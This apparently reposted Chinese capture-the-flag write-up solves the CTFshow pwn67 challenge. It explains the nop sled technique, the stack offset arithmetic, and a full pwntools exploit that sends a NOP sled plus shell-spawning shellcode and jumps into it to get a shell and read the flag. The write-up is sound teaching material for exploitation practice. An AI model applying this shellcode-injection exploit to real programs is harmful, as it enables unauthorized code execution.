CTFshow

您所在的位置:网站首页 雪橇什么意思 CTFshow

CTFshow

2024-07-13 13:25| 来源: 网络整理| 查看: 265

前言

本人由于今年考研可能更新的特别慢,不能把ctfshow的pwn入门题目的wp一一都写出来了,时间比较紧啊,只能做高数做累的时候做做pwn写写wp了,当然我之后只挑典型意义的题目写wp了,其余的题目就留到12月底考完之后再写了…-_-…

pwn67(nop sled空操作雪橇)

在这里插入图片描述 首先我们先把pwn文件下载下来,托到虚拟机里加上可执行权限,使用checksec命令查看一下文件的保护信息。

chmod +x pwn checksec pwn

在这里插入图片描述 我们可以看到这是一个32位的程序,并且开启了canary保护,但是呢没有开启NX和PIE,代表还是可以将我们的shellcode写到栈上去执行的。

我们先将文件拖入IDA反编译一下。得到的反汇编代码如下:

// main // bad sp value at call has been detected, the output may be wrong! int __cdecl main(int argc, const char **argv, const char **envp) { char *position; // eax void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF seed[1025] = (unsigned int)&argc; seed[1024] = __readgsdword(0x14u); setbuf(stdout, 0); logo(); srand((unsigned int)seed); Loading(); acquire_satellites(); position = query_position(); printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position); printf("What will you do?\n> "); fgets((char *)seed, 4096, stdin); printf("Where do you start?\n> "); __isoc99_scanf((int)"%p", (int)&v5); v5(); return 0; } // *query_position char *query_position() { char v1; // [esp+3h] [ebp-15h] BYREF int v2; // [esp+4h] [ebp-14h] char *v3; // [esp+8h] [ebp-10h] unsigned int v4; // [esp+Ch] [ebp-Ch] v4 = __readgsdword(0x14u); v2 = rand() % 1337 - 668; v3 = &v1 + v2; return &v1 + v2; }

代码的大概逻辑就是先输出一些banner信息,然后输出的会有栈中的地址,从query_position函数可以发现函数返回值是v1的地址加上v2的值,而v1是局部变量,那么它的地址就是栈里的地址,加上v2就代表接收函数返回值的变量position=v1的地址+v2的值(即&v1+v2)。然后程序会让我们输入大小为4096的字符串给seed变量,之后再让我们输入一个地址,将其赋给v5,然后使用v5()从我们输入的这个地址执行这个地址的代码。

由于开启了canary保护,我们的栈溢出就受到了阻碍,一般的canary保护开启,我们可以采用泄露canary的地址来打,但是本题目泄露了栈的地址,而且题目也提示我们是nop sled,所以我们就使用nop sled空操作雪橇来打。

什么是nop sled

nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。

也就是我们现在栈中的某个位置填入大量nop指令,后边再接上我们的shellcode,然后我们控制程序的执行流从我们nop指令开始执行,那么程序就会一直执行我们之前填入的nop,执行nop之后就是我们的shellcode了,这样程序就成功的被我们pwn掉了。

计算我们填入nop sled的位置

因为程序最后使用的是v5(),v5又是我们输入的地址,执行v5()就相当于从我们输入的地址开始执行。

我们输入的nop指令+shellcode是通过gets函数放到了seed变量中,那我们输入的地址就必须在shellcode之前和第一个nop指令之后。如果我们输入的数据放在了第一个nop指令之前,那我们就无法执行nop指令了;如果我们放在了shellcode之后,那执行的时候,就会从shellcode之后执行,这样就不能完整的执行整个shellcode。 在这里插入图片描述 大致位置在哪已经清楚,那我们如何具体确定这个地址在哪呢?

我们就可以结束main函数泄露出的position这个变量的值,因为这个值是v1的地址+v2的值,并且v2的是为rand()%1337 - 668。rand()是生成一个随机数字,rand()%1337代表生成的这个随机数对1337取模,那么这个值rand()%1337的值就为0~1336。然后再减去668,那么v2的取值就为-668~668。

由于v1是*query_position()函数的局部变量,那么我们的v1就一定在栈上,我们就利用v1的地址来确定我们输进v5的地址是多少。

这里为了清楚,我们得画出执行到*query_position()函数时,栈的布局是怎样的。

这里展示了main函数从开始到执行到*query_position()函数的汇编代码,我们要分析一下栈中的操作是如何变化的。

.text:0804894F 55 push ebp .text:08048950 89 E5 mov ebp, esp .text:08048952 53 push ebx .text:08048953 51 push ecx .text:08048954 81 EC 10 10 00 00 sub esp, 1010h .text:0804895A E8 41 FC FF FF call __x86_get_pc_thunk_bx .text:0804895A .text:0804895F 81 C3 A1 26 00 00 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:08048965 65 A1 14 00 00 00 mov eax, large gs:14h .text:0804896B 89 45 F4 mov [ebp+var_C], eax .text:0804896E 31 C0 xor eax, eax .text:08048970 8B 83 FC FF FF FF mov eax, ds:(stdout_ptr - 804B000h)[ebx] .text:08048976 8B 00 mov eax, [eax] .text:08048978 83 EC 08 sub esp, 8 .text:0804897B 6A 00 push 0 ; buf .text:0804897D 50 push eax ; stream .text:0804897E E8 0D FB FF FF call _setbuf .text:0804897E .text:08048983 83 C4 10 add esp, 10h .text:08048986 E8 B8 FE FF FF call logo .text:08048986 .text:0804898B 8D 85 F4 EF FF FF lea eax, [ebp+seed] .text:08048991 83 EC 0C sub esp, 0Ch .text:08048994 50 push eax ; seed .text:08048995 E8 56 FB FF FF call _srand .text:08048995 .text:0804899A 83 C4 10 add esp, 10h .text:0804899D E8 C4 FC FF FF call Loading .text:0804899D .text:080489A2 E8 2B FD FF FF call acquire_satellites .text:080489A2 .text:080489A7 E8 25 FE FF FF call query_position

栈首先是将调用main函数的函数的ebp压到栈顶,然后push了一个ebx和一个ecx,接着由将esp减少了0x1010,此时栈顶为ebp-0x4-0x4-0x1010,32位一个存储单元4字节。然后呢,又有了esp减去了8,push了一个eax和0,这时栈顶位ebp-0x4-0x4-0x1010-0x8-0x4-0x4。之后呢运行过setbuf函数,esp又增加了0x10,此时esp为ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010。再然后esp又减去了0xc,并且又push了一个eax,那么此时栈顶为ebp-0x4-0x4-0x1010-0xc-0x4。执行完srand函数之后esp又增加了0x10,那么此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010。之后调用完Louding函数和acquire_satellites函数就是*query_position函数了。从IDA反编译结果在*query_position函数中就可以看到局部变量相对query_position函数ebp的位置了。

在这里插入图片描述 可以看到v1是在query_position函数ebp-0x15的位置。 那么此时栈的布局图就是这样的: 在这里插入图片描述

我们可以看出来v1距离seed的位置是0x15+0x4+0x4+0x10=0x2d, 我们令random=rand()%1337,v2=rand()%1337-668=random-668, 那么position=&v1+v2=&v1+random-668(random∈(0,1336)), 则&v1=position+668-random,&seed=&v1+0x2d=position+0x2d+668-random,而我们的nop指令+shellcode是写到seed里的,又因为前面说了我们输进v5的地址要在第一个nop指令之后,因为第一个nop指令也就是seed在栈中的位置,所以我们输进v5的地址应该是&seed加上某个数值,那我们就可以将position+0x2d+668输进v5,因为position+0x2d+668=&seed+random,由于我们seed大小是0x1000=4096,而random是0~1336,所以可以放心加。 在这里插入图片描述

因为输进v5的地址要在shellcode之前,那么我们的nop指令数就要大于=random,random∈(0,1336),那我们就将nop指令数设置为1336。这样我们就有payload以及输进v5的地址。

payload为1336*nop + shellcode 地址为:position + 0x2d + 668

编写exp from pwn import * context.arch = "i386" #context.log_level = "debug" io = process("./pwn") io = remote("pwn.challenge.ctf.show","28144") io.recvuntil("current location: ") # 接收position addr = eval(io.recvuntil("\n",drop=True)) print hex(addr) # \x90为nop指令 payload = "\x90" * 1336 + asm(shellcraft.sh()) io.recvuntil("> ") io.sendline(payload) # 输进v5的地址 shell_addr = addr + 0x2d + 668 io.recvuntil("> ") io.sendline(hex(shell_addr)) io.interactive()

在这里插入图片描述 发现ctfshow_flag,直接cat读取! 在这里插入图片描述 成功拿到flag!



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3